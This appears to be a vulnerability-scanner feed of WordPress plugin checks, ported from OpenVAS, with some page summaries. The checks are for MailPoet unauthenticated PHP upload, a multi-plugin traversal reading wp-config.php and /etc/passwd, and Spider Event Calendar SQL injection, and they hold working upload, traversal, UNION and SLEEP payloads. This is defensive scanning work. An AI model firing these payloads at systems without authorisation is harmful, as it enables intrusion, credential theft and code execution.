#
# Better than the NASL (2014/gb_wordpress_mailpoet_arib_file_upload_vuln.nasl):
#   - also covers 2.6.7 (incomplete fix) through the POST "page" override;
#   - the uploaded script removes itself and its theme folder after the proof;
#   - per-run random names and operands, no dependency on a prior WordPress detection.
#
# CVSS: NVD has only a v2 score for this CVE (7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_wordpress_mailpoet_arib_file_upload_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804724, GPL-2.0-only). Request layout cross-checked with
# Metasploit exploit/unix/webapp/wp_wysija_newsletters_upload.
uid: 89cb5560-565a-48ed-ace9-f0c9d53a7f7d
name: "WordPress MailPoet Newsletters < 2.6.8 unauthenticated theme upload code execution (CVE-2014-4725)"
description: |
  Tests the MailPoet Newsletters (wysija-newsletters) plugin for WordPress for
  CVE-2014-4725, an unauthenticated theme upload that leads to PHP code execution.
  When the plugin's readme.txt is found, the test posts a small theme zip to
  wp-admin/admin-post.php without logging in, including the request parameter that
  also bypasses the incomplete fix of version 2.6.7. The zip holds a one-line PHP
  file that prints the sum of two random numbers passed in the query string and then
  deletes itself, the theme's style.css and the theme folder. The test then requests
  that file from wp-content/uploads/wysija/themes/: the correct sum in the reply
  confirms that the uploaded file ran as PHP code. If the theme upload handler
  accepted the request without a login but the file did not run, a
  lower-confidence finding is reported instead, and the harmless test theme may
  remain in the uploads directory. The plugin itself may also keep a "theme
  installed" notice for its admin pages and the empty wysija/themes and
  wysija/temp folders it creates on first use. The web root, /wordpress and /blog
  are tried.
cves: [CVE-2014-4725]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [wordpress, wordpress-plugin, mailpoet, wysija-newsletters, file-upload, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4725"
  - "https://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html"
  - "https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb"

steps:
  # Per-run token (theme folder + file name) and arithmetic operands.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(4), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-sum
    action: script
    code: 'm.a + m.b'
    store_as: sum

  # ── Loop group: every step below runs once per candidate WordPress base ──
  # Pre-initialise every stored result a script reads (an undefined variable
  # would abort the whole test).
  - id: init-readme
    action: set_var
    var_name: readme
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wordpress", "/blog"]
      var: base

  - id: init-up
    action: set_var
    var_name: up
    var_value: {sent: false, responded: false, response: null}

  - id: init-up-late1
    action: set_var
    var_name: up_late1
    var_value: {sent: false, responded: false, response: null}

  - id: init-up-late2
    action: set_var
    var_name: up_late2
    var_value: {sent: false, responded: false, response: null}

  - id: init-run
    action: set_var
    var_name: run
    var_value: {status: 0, body: null}

  - id: init-accepted
    action: set_var
    var_name: accepted
    var_value: false

  # Gate: the plugin is installed under this base.
  - id: readme-probe
    action: http_request
    method: GET
    path: "{{base}}/wp-content/plugins/wysija-newsletters/readme.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: readme

  - id: gate
    action: script
    code: |
      let b = readme.body;
      type_of(b) == "string" && readme.status == 200
        && ereg("===[ ]*(MailPoet|Wysija) Newsletters[ ]*===", b)
    store_as: gate

  # Raw multipart POST: binary zip in "my-theme", action=themeupload, and a POST
  # "page" value that does not start with "wysija_" (skips the 2.6.7 check; the
  # controller itself is still picked from the GET "page").
  - id: build-upload
    action: script
    condition: "gate == true"
    code: |
      let zip = str_replace("504b03040a000000000000002128000000000000000000000000180000006e6f63746973@T@2f7374796c652e637373504b03040a000000000000002128ae587ecb9600000096000000210000006e6f63746973@T@2f6e6f63746973@T@2e7068703c3f706870206563686f20274e4f43544953272e2828696e7429245f4745545b2761275d2b28696e7429245f4745545b2762275d292e27454e44273b2040756e6c696e6b286469726e616d65285f5f46494c455f5f292e272f7374796c652e63737327293b2040756e6c696e6b285f5f46494c455f5f293b2040726d646972286469726e616d65285f5f46494c455f5f29293b203f3e504b010214000a0000000000000021280000000000000000000000001800000000000000000000000000000000006e6f63746973@T@2f7374796c652e637373504b010214000a000000000000002128ae587ecb96000000960000002100000000000000000000000000360000006e6f63746973@T@2f6e6f63746973@T@2e706870504b05060000000002000200950000000b0100000000", "@T@", hexstr(m.tok));
      let bnd = "----noctisCVE20144725" + m.tok;
      let part = |name| "--" + bnd + "\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n";
      let body = hexstr("--" + bnd + "\r\nContent-Disposition: form-data; name=\"my-theme\"; filename=\"noctis" + m.tok + ".zip\"\r\nContent-Type: application/zip\r\n\r\n")
        + zip
        + hexstr("\r\n" + part.call("overwriteexistingtheme") + "on\r\n"
          + part.call("action") + "themeupload\r\n"
          + part.call("submitter") + "Upload\r\n"
          + part.call("page") + "noctis" + m.tok + "\r\n"
          + "--" + bnd + "--\r\n");
      let head = "POST " + base + "/wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.1\r\n"
        + "Host: " + target_host + ":" + port.to_string() + "\r\n"
        + "User-Agent: Mozilla/5.0 (compatible; noctis)\r\n"
        + "Content-Type: multipart/form-data; boundary=" + bnd + "\r\n"
        + "Content-Length: " + (strlen(body) / 2).to_string() + "\r\n"
        + "Connection: close\r\n\r\n";
      hexstr(head) + body
    store_as: upload_hex

  - id: upload-open
    action: tcp_open
    handle: wp
    port: "{{port}}"
    condition: "gate == true"
    timeout_secs: 10
    store_as: up_conn

  - id: upload-send
    action: tcp_send
    handle: wp
    condition: "gate == true"
    send_hex: "{{upload_hex}}"
    timeout_secs: 10
    store_as: up

  # WordPress may take longer than one read window to unpack the theme and answer:
  # re-read the same socket (empty send) twice before giving up on the reply.
  - id: upload-wait1
    action: sleep
    condition: "gate == true && up.responded != true"
    duration_ms: 1500

  - id: upload-late1
    action: tcp_send
    handle: wp
    condition: "gate == true && up.responded != true"
    send: ""
    timeout_secs: 10
    store_as: up_late1

  - id: upload-wait2
    action: sleep
    condition: "gate == true && up.responded != true && up_late1.responded != true"
    duration_ms: 3000

  - id: upload-late2
    action: tcp_send
    handle: wp
    condition: "gate == true && up.responded != true && up_late1.responded != true"
    send: ""
    timeout_secs: 10
    store_as: up_late2

  - id: upload-close
    action: tcp_close
    handle: wp
    condition: "gate == true"

  # Upload reply: the theme-upload handler's own redirect (reload=1), reached
  # without a login. Only the status line and headers are considered.
  - id: upload-verify
    action: script
    condition: "gate == true"
    code: |
      let r = "";
      for x in [up, up_late1, up_late2] {
        if type_of(x.response) == "string" { r += x.response; }
      }
      let cut = stridx(r, "\r\n\r\n");
      let head = if cut >= 0 { substr(r, 0, cut) } else { r };
      ereg("^HTTP/1[.][01] 302", head)
        && ereg("(?mi)^Location:[^\r\n]*page=wysija_campaigns&action=themes&reload=1", head)
    store_as: accepted

  # Run the uploaded script with this run's operands.
  - id: run-upload
    action: http_request
    method: GET
    path: "{{base}}/wp-content/uploads/wysija/themes/noctis{{m.tok}}/noctis{{m.tok}}.php?a={{m.a}}&b={{m.b}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "gate == true"
    store_as: run

  # Executed only when the computed sum comes back (the source holds "a+b", the
  # query holds the operands, neither holds the sum).
  - id: run-verify
    action: script
    code: |
      let b = run.body;
      if gate != true || type_of(b) != "string" { false }
      else { run.status == 200 && stridx(b, "NOCTIS" + sum + "END") >= 0 }
    store_as: rce_hit

  - id: rce-match
    action: match
    source: run.body
    pattern: "NOCTIS[0-9]+END"
    condition: "rce_hit == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.65
        qod: 97
        remediation: "Update MailPoet Newsletters (wysija-newsletters) to 2.6.8 or later (2.6.7 only partly fixes the flaw), and check wp-content/uploads/wysija/themes/ for unknown theme folders containing PHP files."
        evidence: "Unauthenticated theme upload + PHP execution confirmed: POST {{base}}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes (action=themeupload) installed theme noctis{{m.tok}}, and GET {{base}}/wp-content/uploads/wysija/themes/noctis{{m.tok}}/noctis{{m.tok}}.php?a={{m.a}}&b={{m.b}} returned NOCTIS{{sum}}END (sum computed by the server; the script deleted itself and its theme folder)"

  # Fallback: the upload handler answered without a login, the script did not run.
  - id: accepted-match
    action: match
    source: base
    pattern: ".*"
    condition: "accepted == true && rce_hit != true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.45
        qod: 75
        remediation: "Update MailPoet Newsletters (wysija-newsletters) to 2.6.8 or later (2.6.7 only partly fixes the flaw), and remove the wp-content/uploads/wysija/themes/noctis{{m.tok}}/ folder left by this test if present."
        evidence: "POST {{base}}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes (action=themeupload, no login) was answered by the theme-upload handler's redirect to admin.php?page=wysija_campaigns&action=themes&reload=1, but the uploaded probe did not run (GET of uploads/wysija/themes/noctis{{m.tok}}/noctis{{m.tok}}.php: status {{run.status}})"

WordPress Multiple Plugins / Themes Directory Traversal / File Download

CVECVE-2007-6369, CVE-2012-0896, CVE-2013-7240, CVE-2014-4577, CVE-2014-4940, CVE-2014-4941, CVE-2014-5187, CVE-2014-5368, CVE-2014-8799, CVE-2014-9119, CVE-2014-9734, CVE-2015-1000005, CVE-2015-1000006, CVE-2015-1000007, CVE-2015-1000010, CVE-2015-1000012, CVE-2015-1579, CVE-2015-4414, CVE-2015-4694, CVE-2015-4703, CVE-2015-4704, CVE-2015-5468, CVE-2015-5469, CVE-2015-5471, CVE-2015-5472, CVE-2015-5609, CVE-2015-9406, CVE-2015-9470, CVE-2015-9480, CVE-2016-10924, CVE-2016-10956, CVE-2017-1002008, CVE-2018-16283, CVE-2018-16299, CVE-2018-7422, CVE-2018-9118, CVE-2019-14205, CVE-2019-14206, CVE-2019-9618, CVE-2020-11738, CVE-2021-39316, CVE-2022-1119, CVE-2024-12209
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2007-6369.yaml

Multiple WordPress plugins and themes are prone to a directory traversal / arbitrary file download vulnerability. An unauthenticated attacker supplies a URL-encoded traversal payload in the vulnerable plugin's `file` query-string parameter and retrieves wp-config.php (disclosing the WordPress database credentials) or /etc/passwd.

This check sends an unauthenticated GET with the traversal in the `file` query parameter and confirms the leak by requiring HTTP 200 plus DB_NAME, DB_USER and DB_PASSWORD together in the body, or a root:...:0:0 line from /etc/passwd. The same request for an absent file (a random missing directory before the file name) must come back without that content, so a server that answers every path with the same body is not reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /wp-content/plugins/db-backup/download.php?file={{traversal}} HTTP/1.0
  2. Checks probe.banner for (?s)^HTTP/1\.[01]\s+200.*(DB_NAME['"].*DB_USER['"].*DB_PASSWORD['"]|r…
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /wp-content/plugins/db-backup/download.php?file={{ctrl_traversal}} HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks leak_hit for ^yes$ → finding QoD 75: GET /wp-content/plugins/db-backup/download.php?file=… returned the file's content (HTTP 200: wp-config.php database settings or a root pass…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2007-6369.yaml
# WordPress Multiple Plugins / Themes Directory Traversal / File Download
#
# Numerous WordPress plugins and themes expose an unauthenticated file-download
# endpoint whose `file` request parameter is not sanitised, allowing path
# traversal to read arbitrary files on the host — most usefully `wp-config.php`,
# which leaks the database credentials (DB_NAME, DB_USER, DB_PASSWORD), or
# `/etc/passwd`.
#
# This is a combined OpenVAS/Greenbone NVT that probes a large family of
# vulnerable plugin/theme download endpoints; the representative, widely cited
# entry is the `db-backup` plugin (download.php?file=...). The finding is tagged
# with the full set of CVE IDs the upstream NVT carries.
#
# Detection (active check, ported faithfully from the cited NASL):
#   The NASL issues an unauthenticated GET with the traversal payload in the
#   `file` query-string parameter, URL-encoded as `..%2F`:
#     GET /wp-content/plugins/db-backup/download.php?file=..%2F..%2F..%2Fwp-config.php
#   and a second pass with ~10x `..%2F` reaching `etc/passwd`. It confirms the
#   leak by requiring HTTP 200 together with DB_NAME *and* DB_USER *and*
#   DB_PASSWORD in the body (the wp-config.php disclosure), or a root:...:0:0
#   line for the /etc/passwd pass.
#
# The payload is URL-encoded (%2F), so the request MUST be sent verbatim via
# tcp_connect — reqwest would decode and normalise %2e/%2f and ../ before
# transmission, destroying the payload. The match is done on resp.banner (the
# raw status line + headers + body), exactly as the NASL greps the response.
#
# Absent-file control: a hit only records the file; the same request is then
# sent with a random missing directory before the file
# (..%2Fnoctis-absent-<rnd>%2Fwp-config.php), and the finding is raised only
# when that control is answered without any file signature (fail closed), so a
# server that returns the same file body for every path is not reported. The
# finding is reported from a fixed value: the leaked database credentials and
# passwd content never land in its evidence.
#
# Source: OpenVAS/Greenbone NASL
#   2020/wordpress/gb_wordpress_mult_plugins_themes_dir_trav.nasl (GPL-2.0-only)
uid: 64ad3df8-cca8-4aab-b95f-31020710c1b2
name: "WordPress Multiple Plugins / Themes Directory Traversal / File Download"
description: |
  Multiple WordPress plugins and themes are prone to a directory traversal / arbitrary
  file download vulnerability. An unauthenticated attacker supplies a URL-encoded
  traversal payload in the vulnerable plugin's `file` query-string parameter and
  retrieves wp-config.php (disclosing the WordPress database credentials) or
  /etc/passwd.

  This check sends an unauthenticated GET with the traversal in the `file` query
  parameter and confirms the leak by requiring HTTP 200 plus DB_NAME, DB_USER and
  DB_PASSWORD together in the body, or a root:...:0:0 line from /etc/passwd. The
  same request for an absent file (a random missing directory before the file
  name) must come back without that content, so a server that answers every path
  with the same body is not reported.
cves:
  - CVE-2007-6369
  - CVE-2012-0896
  - CVE-2013-7240
  - CVE-2014-4577
  - CVE-2014-4940
  - CVE-2014-4941
  - CVE-2014-5187
  - CVE-2014-5368
  - CVE-2014-8799
  - CVE-2014-9119
  - CVE-2014-9734
  - CVE-2015-1000005
  - CVE-2015-1000006
  - CVE-2015-1000007
  - CVE-2015-1000010
  - CVE-2015-1000012
  - CVE-2015-1579
  - CVE-2015-4414
  - CVE-2015-4694
  - CVE-2015-4703
  - CVE-2015-4704
  - CVE-2015-5468
  - CVE-2015-5469
  - CVE-2015-5471
  - CVE-2015-5472
  - CVE-2015-5609
  - CVE-2015-9406
  - CVE-2015-9470
  - CVE-2015-9480
  - CVE-2016-10924
  - CVE-2016-10956
  - CVE-2017-1002008
  - CVE-2018-16283
  - CVE-2018-16299
  - CVE-2018-7422
  - CVE-2018-9118
  - CVE-2019-14205
  - CVE-2019-14206
  - CVE-2019-9618
  - CVE-2020-11738
  - CVE-2021-39316
  - CVE-2022-1119
  - CVE-2024-12209
cvss: 7.5
severity: high
confidence_base: 0.30
category: file-read
tags: [wordpress, plugin, theme, directory-traversal, file-download, lfi]
services: [http, https]
author: noctis
version: "1.2.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2007-6369"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9119"
  - "OpenVAS/Greenbone NASL 2020/wordpress/gb_wordpress_mult_plugins_themes_dir_trav.nasl (GPL-2.0-only)"
steps:
  # One iteration per file: wp-config.php (3x ..%2F), then /etc/passwd
  # (~10x ..%2F, the second NASL pass). The %2F-encoded traversal is sent
  # verbatim with tcp_connect (reqwest would normalise it away). The first step
  # of the group resets every per-item result, so a refused connection never
  # leaves a source undefined or carries the previous item's reply.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {connected: false, banner: ""}
    loop:
      var: traversal
      over:
        - "..%2F..%2F..%2Fwp-config.php"
        - "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {connected: false, banner: ""}

  - id: init-hit
    action: set_var
    var_name: leak_hit
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: traversal-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /wp-content/plugins/db-backup/download.php?file={{traversal}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: probe

  # No finding here: the reply carries the file. HTTP 200 + DB_NAME, DB_USER
  # and DB_PASSWORD together (the leaked wp-config.php), or a root passwd line.
  - id: match-leak
    action: match
    source: probe.banner
    pattern: "(?s)^HTTP/1\\.[01]\\s+200.*(DB_NAME['\"].*DB_USER['\"].*DB_PASSWORD['\"]|root:[^:\\r\\n]*:0:[01]:)"
    on_match:
      set_vars:
        leak_hit: "yes"

  # ── Control: same request, absent file ──
  # A random missing directory right before the file (still ending in
  # wp-config.php or etc%2Fpasswd), same %2F encoding, so a server that keys a
  # fake file on that name answers it too.
  - id: control-path
    action: script
    condition: 'leak_hit != ""'
    code: |
      ereg_replace("^(.*?)(%2F)(etc%2Fpasswd|wp-config\\.php)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", traversal)
    store_as: ctrl_traversal

  - id: control
    action: tcp_connect
    port: "{{port}}"
    condition: 'leak_hit != ""'
    send: "GET /wp-content/plugins/db-backup/download.php?file={{ctrl_traversal}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: ctrl

  # Fail closed: the control must have answered over HTTP, without any file content.
  - id: control-verdict
    action: script
    condition: 'leak_hit != ""'
    code: |
      let b = ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("DB_NAME['\"]|DB_PASSWORD['\"]|root:[^:\\r\\n]*:0:[01]:", b)
    store_as: ctrl_clean

  - id: report-leak
    action: match
    source: leak_hit
    pattern: "^yes$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "GET /wp-content/plugins/db-backup/download.php?file={{traversal}} returned the file's content (HTTP 200: wp-config.php database settings or a root passwd line); the same request for an absent file did not"
      stop: true

WordPress Spider Event Calendar cat_id SQL Injection

CVECVE-2015-2196
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2015-2196.yaml

The Webdorado Spider Event Calendar plugin for WordPress (1.4.9 and earlier) does not sanitise the `cat_id` parameter of the unauthenticated admin-ajax.php?action=spiderbigcalendar_month view before using it in an SQL query, allowing unauthenticated SQL injection.

This check UNION-injects one synthetic calendar event whose title is a marker computed by the database (CONCAT of a hex prefix and A*B, with random A and B) and confirms the marker is rendered back. When that UNION shape does not fit, it falls back to a row-independent time-based check (derived table SLEEP, two random delays against a baseline request).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calenda…
  3. Parses / computes the next value with a Rhai script
  4. Checks sq.found for ^NOCTIS[0-9]+$ → finding QoD 75: UNION-based SQLi confirmed: cat_id=0) UNION SELECT ...,CONCAT(0x4e4f43544953,…*…),... rendered the database-computed marker … in the calend…
  5. HTTP(S) request GET {{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calenda…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calenda…
  8. HTTP(S) request GET {{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calenda…
  9. Parses / computes the next value with a Rhai script
  10. Checks tb.found for ^SLEEP$ → finding QoD 70: Time-based SQLi confirmed: cat_id=1) AND (SELECT 1 FROM (SELECT(SLEEP(n)))noctis) AND (5524=5524 on …/wp-admin/admin-ajax.php?action=spider…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2015-2196.yaml
# WordPress Spider Event Calendar (Webdorado) <= 1.4.9 — cat_id SQL injection
#
# The plugin's AJAX month view (admin-ajax.php?action=spiderbigcalendar_month,
# registered with wp_ajax_nopriv_, so unauthenticated) copies the `cat_id`
# query parameter into php_getdays() (front_end/frontend_functions.php) and
# concatenates it, unquoted, into
#   ... WHERE wp_spidercalendar_event.category IN (<cat_id>) AND ... ORDER BY ...
# Fixed in 1.4.12, which only accepts cat_ids matching /^[0-9,]+$/.
#
# Source NASL (2015/gb_wp_webdorado_event_cal_sql_vuln.nasl) injects
#   cat_id=1) AND SLEEP(<n>) AND (5524=5524
# with n = 5 then 7 and checks the response time. That SLEEP sits in the WHERE
# clause of a JOIN, so MySQL only evaluates it for rows that reach it: on a
# calendar with no published event in category 1 it never sleeps (false
# negative — verified on the real plugin 1.4.9 with an empty calendar), and
# with k such rows it sleeps k*n seconds, past the NASL's n+5 upper bound
# (false negative again).
#
# This feed does better, verified against the real plugin 1.4.9 (vulnerable)
# and 1.4.29 (fixed) on WordPress 4.9.8 + MariaDB 10.6:
#   1. In-band, data-independent proof: close the IN list and UNION one
#      synthetic event row (19 columns: the event table + category color)
#      dated 2015-02-10 whose title is CONCAT(0x4e4f43544953, A*B) with random
#      A, B. The calendar renders it, so NOCTIS<A*B> — computed by the
#      database, never present in the request — appears in the page. Hex
#      literals only: WordPress adds magic quotes to $_GET, so a quoted string
#      would break. Commas survive the plugin's explode/implode of cat_ids.
#   2. Fallback when the UNION shape doesn't fit (another column count on a
#      fork / older release): the NASL's timing check, made row-independent by
#      wrapping SLEEP in a derived table (MySQL materialises it exactly once,
#      even with zero matching rows), with a benign baseline request and two
#      different random delays that must both be observed.
#      The real plugin streams the month view (headers and the first HTML go
#      out before the injected query runs); duration_ms covers the full
#      response (#1924), so the fallback fires there as on the buffered mock.
# Beyond the NASL's detected install dir, the probe also walks the usual
# WordPress sub-directories.
#
# Read-only: no table is written, no data is extracted (the marker is the only
# value the database returns).
#
# Source: OpenVAS/Greenbone NASL 2015/gb_wp_webdorado_event_cal_sql_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805349, GPL-2.0-only)
uid: 7d119329-60c8-4515-9a33-e448951b5dd4
name: "WordPress Spider Event Calendar cat_id SQL Injection (CVE-2015-2196)"
description: |
  The Webdorado Spider Event Calendar plugin for WordPress (1.4.9 and earlier)
  does not sanitise the `cat_id` parameter of the unauthenticated
  admin-ajax.php?action=spiderbigcalendar_month view before using it in an SQL
  query, allowing unauthenticated SQL injection.

  This check UNION-injects one synthetic calendar event whose title is a
  marker computed by the database (CONCAT of a hex prefix and A*B, with random
  A and B) and confirms the marker is rendered back. When that UNION shape
  does not fit, it falls back to a row-independent time-based check (derived
  table SLEEP, two random delays against a baseline request).
cves: [CVE-2015-2196]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [wordpress, plugin, spider-event-calendar, webdorado, sqli, union, time-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-2196"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-2196.yaml"
  - "OpenVAS/Greenbone NASL 2015/gb_wp_webdorado_event_cal_sql_vuln.nasl (GPL-2.0-only)"

steps:
  # ── Random operands and sleep delays ───────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      let s1 = rand_int(4, 5);
      #{ a: a, b: b, marker: "NOCTIS" + (a * b), s1: s1, s2: s1 + 3 }
    store_as: sc

  # ── Per candidate WordPress base path (loop group) ─────────────────────────
  # Pre-initialise every stored result read by a script: a failed request
  # leaves store_as unset and an undefined var would abort the whole test.
  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wordpress", "/blog", "/wp"]
      var: wp_dir

  - id: init-base-resp
    action: set_var
    var_name: base_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sleep1-resp
    action: set_var
    var_name: sleep1_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sleep2-resp
    action: set_var
    var_name: sleep2_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  # ── Stage 1: UNION one synthetic event titled CONCAT('NOCTIS', A*B) ────────
  # Columns: id, calendar, date, date_end, title, category, time, text_for_date,
  # userID, repeat_method ('no_repeat'), repeat, week, month, month_type,
  # monthly_list, month_week, year_month, published, color. The date literal
  # 0x323031352d30322d3130 is '2015-02-10', inside the requested month
  # (date=2015-02). %23 comments out the rest of the original query.
  - id: union-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=&widget=0&cat_id=0)%20UNION%20SELECT%201,1,0x323031352d30322d3130,0x323031352d30322d3130,CONCAT(0x4e4f43544953,{{sc.a}}*{{sc.b}}),1,NULL,NULL,NULL,0x6e6f5f726570656174,1,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL%23"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: union_resp

  - id: check-union
    action: script
    code: |
      let hit = type_of(union_resp.body) == "string" && union_resp.body.contains(sc.marker);
      #{ union: hit, found: if hit { sc.marker } else { "" } }
    store_as: sq

  - id: report-union
    action: match
    source: sq.found
    pattern: "^NOCTIS[0-9]+$"
    condition: "sq.union"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "UNION-based SQLi confirmed: cat_id=0) UNION SELECT ...,CONCAT(0x4e4f43544953,{{sc.a}}*{{sc.b}}),... rendered the database-computed marker {{sc.marker}} in the calendar returned by GET {{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month (HTTP {{union_resp.status}})"
      stop: true

  # ── Stage 2 (fallback): row-independent time-based check ───────────────────
  # Only when the UNION shape did not fit. See #1924: blind on servers that
  # stream the page until http_request measures the full response. Baseline first: a benign cat_id must
  # return the plugin's month view, so the timing steps never run against a
  # path that isn't the plugin.
  - id: baseline
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=&widget=0&cat_id=1"
    condition: "!sq.union"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp

  - id: check-baseline
    action: script
    code: |
      let ok = base_resp.status == 200 && type_of(base_resp.body) == "string"
        && base_resp.body.contains("spiderbigcalendar_") && base_resp.duration_ms < 4000;
      #{ ok: ok }
    store_as: bl

  - id: sleep-probe-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=&widget=0&cat_id=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sc.s1}})))noctis)%20AND%20(5524=5524"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    store_as: sleep1_resp

  - id: sleep-probe-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=&widget=0&cat_id=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sc.s2}})))noctis)%20AND%20(5524=5524"
    condition: "bl.ok && sleep1_resp.duration_ms >= base_resp.duration_ms + sc.s1 * 1000 - 300"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    store_as: sleep2_resp

  # Both delays must show up over the baseline, each within its own window, and
  # the longer SLEEP must take measurably longer than the shorter one.
  - id: check-timing
    action: script
    code: |
      let base = base_resp.duration_ms;
      let d1 = sleep1_resp.duration_ms - base;
      let d2 = sleep2_resp.duration_ms - base;
      let w1 = d1 >= sc.s1 * 1000 - 300 && d1 <= sc.s1 * 1000 + 4000;
      let w2 = d2 >= sc.s2 * 1000 - 300 && d2 <= sc.s2 * 1000 + 4000;
      let hit = bl.ok && sleep1_resp.status == 200 && sleep2_resp.status == 200
        && w1 && w2 && (d2 - d1) >= 2000;
      #{ blind: hit, found: if hit { "SLEEP" } else { "" } }
    store_as: tb

  - id: report-time
    action: match
    source: tb.found
    pattern: "^SLEEP$"
    condition: "tb.blind"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "Time-based SQLi confirmed: cat_id=1) AND (SELECT 1 FROM (SELECT(SLEEP(n)))noctis) AND (5524=5524 on {{wp_dir}}/wp-admin/admin-ajax.php?action=spiderbigcalendar_month delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{sleep1_resp.duration_ms}} ms, SLEEP({{sc.s2}}) {{sleep2_resp.duration_ms}} ms"
      stop: true

WordPress Spreadsheet (wpSS) ss_handler.php ss_id SQL Injection

CVECVE-2014-8363
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2014-8363.yaml

